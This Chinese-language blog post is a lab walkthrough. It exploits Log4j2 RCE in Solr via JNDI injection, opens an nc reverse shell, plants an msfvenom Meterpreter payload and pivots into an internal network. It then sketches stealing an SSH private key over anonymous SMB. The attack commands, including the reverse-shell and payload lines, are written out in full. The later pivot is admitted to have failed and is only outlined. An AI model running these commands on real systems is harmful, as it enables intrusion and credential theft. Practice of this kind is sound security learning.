内网打靶练习(log4j2、私钥泄露)

540 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

攻击环境介绍

搭建靶机的过程过几天我再写,先写一下复现的过程(最近有些懒了)

web服务端:centos上搭建的solr192.168.80.130(外) 192.168.75.130(内) 内网主机:Windows10 192.168.75.128 kali 攻击机:kali 192.168.80.131

getshell (log4j2 RCE)

来看一下web服务端,是一个solr框架昂 在这里插入图片描述 然后我们看一下solr官网升级到了哪个版本,现在已经到9.0.0版本了,8.1.0版本是在去年十一月发布的,应该是存在log4j2的RCE的 在这里插入图片描述 在这里插入图片描述 上图是8.1.1版本更新的细节,是吧log4j2更新到了2.16版本

简单回顾下log4j2漏洞,我之前也有两篇文章是复现这个漏洞的。

Apache Log4j2是一款优秀的Java日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。

漏洞验证

因为这个环境是我搭建的,没有修复,肯定是有log4j2 的rce的,就是省略验证过程了,验证就是在注入点用dnslog去验证,这里放个别人的图。 在这里插入图片描述 在这里插入图片描述 有记录昂,就是存在漏洞。

存在注入的点

  1. /solr/admin/info?d=payload
  2. /solr/admin/cores?action=payload
  3. "Core Admin" -> "Add Core" -> "name"处 在这里插入图片描述

反弹shell

这里给个生成反弹shell的命令的一个工具:forum.ywhack.com/reverse-she… 在这里插入图片描述 我这里用的是nc -c,你们也可以用其他的,替换掉引号里的shell命令就行。 首先开一个监听,根据网站上面右上角的命令来(注意保持端口一致)。 在这里插入图片描述 然后,是使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具,执行下面内容:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc -c bash 192.168.80.131 1234" -A 192.168.80.131

在这里插入图片描述

然后利用生成的紫色的这个加上${jndi:xxxxxxx}去RCE,一个不行就试试其他的,别在一棵树上吊死

我这里随便找一个注入点,就用第一个吧。 在这里插入图片描述 虽然返回来的是404,但是去看一下监听的窗口,有上线主机,用whoami看一下当前用户。 在这里插入图片描述

connect……是连接上线 whoami是我输入的命令 root是返回的值

这时候就是拿到了shell

域渗透

使用msf生成linux木马

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.80.131 LPORT=4444 -f elf > mshell.elf

在这里插入图片描述

这个mshell.elf就是msf刚刚生成的Linux木马

然后开启HTTP服务,让centos下载木马并执行

在这里插入图片描述

右边是开启http服务,左边是使用反弹的shell,下载刚刚msf生成的linux木马

执行前现在msf开启监听

use exploit/multi/handler  #使用监听模块
set payload linux/x64/meterpreter_reverse_tcp #使用和木马相同的payload
set lhost 192.168.85.131 #kaili 的ip
set lport 4444 #木马的端口
run #执行

在这里插入图片描述

右边是msf监听,左边是先授予权限,然后执行木马

成功上线拿到meterpreter

然后用ifconfig查看内网ip

在这里插入图片描述

可以看到内网ip是192.168.75.130 嗷~~

建立路由 run autoroute -s 192.168.75.0/24 在这里插入图片描述

然后msf扫描内网存活主机

info post/multi/gather/ping_sweep //查看所需参数
run post/multi/gather/ping_sweep rhosts=192.168.75.0/24 //扫网段

抱歉这里没有贴图片,应该是显示结果内网段有两个ip 192.168.75.128 192.168.75.130 (web服务端)

然后msf启动socks代理,准备打里面的主机

search socks
use 3 # 你们的不一定是3,看清楚是哪个再选
show options #看一下端口号和版本
run

看清对应的端口号和版本号 在这里插入图片描述 然后去编辑proxychains配置文件,使用严格模式 在这里插入图片描述 这里就是用上了代理,所有的操作会在192.168.75.0/24网段代理进行了

使用Nmap扫描内网的另一台靶机:proxychains nmap -Pn -sT 192.168.75.128


断更于此,因为我代理没设置正确,或者msf的socks代理没成功开启,扫不出结果,无法进行后续操作,


后面大致思路是,扫描后发现有smb服务,开启了匿名访问:proxychains smbclient -L //192.168.75.128

然后枚举文件proxychains smbmap -H 192.168.75.128 -u "guest" -p "" -R Users 发现id_rsa文件,

下载下来ssh登录

proxychains ssh username@192.168.75.128 -i id_rsa

即可拿到域内主机的shell

参考文章

log4j2 rce:

www.modb.pro/db/242449 www.hackdig.com/12/hack-567… wenku.baidu.com/view/0e3bba…

域渗透:

这里是引用